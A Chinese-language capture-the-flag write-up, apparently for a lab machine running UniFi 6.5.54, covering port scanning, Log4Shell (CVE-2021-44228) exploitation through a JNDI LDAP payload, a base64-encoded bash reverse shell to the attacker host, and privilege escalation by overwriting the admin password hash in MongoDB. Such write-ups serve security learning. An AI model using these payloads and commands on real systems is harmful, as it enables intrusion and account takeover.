信息收集
nmap -sV -v
这次扫描时间很长,因为默认只扫 1000 个常用端口,如果扫到大端口就会自动扫描全端口,可以自行加速
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open ibm-db2-admin?
8080/tcp open http-proxy
8443/tcp open ssl/nagios-nsca Nagios NSCA
SSH 登录尝试失败,6789 端口是 db2 数据库的管理端口,8080 端口是个代理转发端口,访问会重定向到 8443 端口是 UniFi 6.5.54 产品的页面,发现该版本存在 CVE-2021-44228 漏洞
漏洞复现
尝试复现 CVE-2021-44228,曾经风靡一时的漏洞 Apache log4j
,这是 java 比较常用的日志监控组件
原理就是我们创建一个恶意服务,服务器请求执行,达到控制的目的,以rmi
为例
RMI是Java的一组拥护开发 分布式应用程序 的 API 。 RMI使用Java语言 接口 定义了远程对象,它集合了Java序列化和Java远程方法协议 (Java Remote Method Protocol)。 简单地说,这样使原先的程序在同一操作系统的方法调用,变成了不同操作系统之间程序的方法调用
RmiServer.java
package log4j_unser;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws Exception{
// 创建远程对象
RemoteHelloWorld hello = new RemoteHelloWorld();
// 创建注册表
Registry registry = LocateRegistry.createRegistry(1099);
// 将远程对象注册到注册表里面,绑定地址 远程函数实现的是执行弹计算器的命令
registry.rebind("rmi://127.0.0.1:12345/Hello",hello);
// registry.rebind("Hello",hello);
}
}
RemoteHelloWorld
接口
package log4j_unser;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
RemoteHelloWorld
接口实现
package log4j_unser;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public String hello() throws RemoteException {
System.out.println("Callback");
return "Hello";
}
}
执行RmiServer.java
后
漏洞验证
请求登录接口
修改为
"remember":"${jndi:ldap://10.10.16.18/acxsc}"
目的是让服务器反向连接我们的攻击机,访问本机的方法
攻击机监听389端口,这是LDAP
的默认端口,监听tun0
网卡(与目标同一网络),成功连接,存在该漏洞
漏洞利用
准备payload
,输出base64
编码
echo 'bash -c bash -i >&/dev/tcp/10.10.16.18/4444 0>&1' |base64
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTgvNDQ0NCAwPiYxCg==
搭建 ldap
服务器,传递 payload
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}|
{base64,-d}|{bash,-i}" --hostname "{YOUR TUN0 IP ADDRESS}"
发送数据,工具固定格式
连接成功
第二种获取交互式命令行的方法
script /dev/null -c bash
$flag
cat /home/michael/user.txt
提权
检查mongodb
是否在目标机器上运行
ps aux | grep mongo
尝试读取管理员密码,UniFi
程序的默认端口是ace
,查询admin
表的数据
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
x_shadow
即是密码哈希, SHA-512
算法使用一个以 $6$
开头的 16 字符字符串盐值进行散列
-
以
$6$
开头的,表明是用SHA-512
加密的; -
以
$1$
开头的,表明是用MD5
加密的; -
以
$2$
开头的,表明是用Blowfish
加密的; -
以
$5$
开头的,表明是用SHA-256
加密的。星号代表帐号被锁定ps:是在
linux shadow
文件才这么表示
由于是散列函数,无法破解,只能使用替换方法
// 加密PassWord1234
mkpasswd -m sha-512 Password1234
$6$YqozzJiM1m7BfLpC$DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..
每次加密会随机生成盐,用于加密
$6$YqozzJiM1m7BfLpC$DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..
$6$:使用sha-512散列函数
$YqozzJiM1m7BfLpC$:随机生成的盐
DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..:加密后的结果, linux中是86位
替换现有hash
mongo --port 27117 ace --eval 'db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"SHA_512 Hash Generated"}})'
# ObjectId("61ce278f46e0fb0012d47ee4")是管理员id
使用修改后的账号密码登录,在设置setting
—>site
中查看ssh
密码,并远程连接,为 root 权限
ssh 10.129.145.178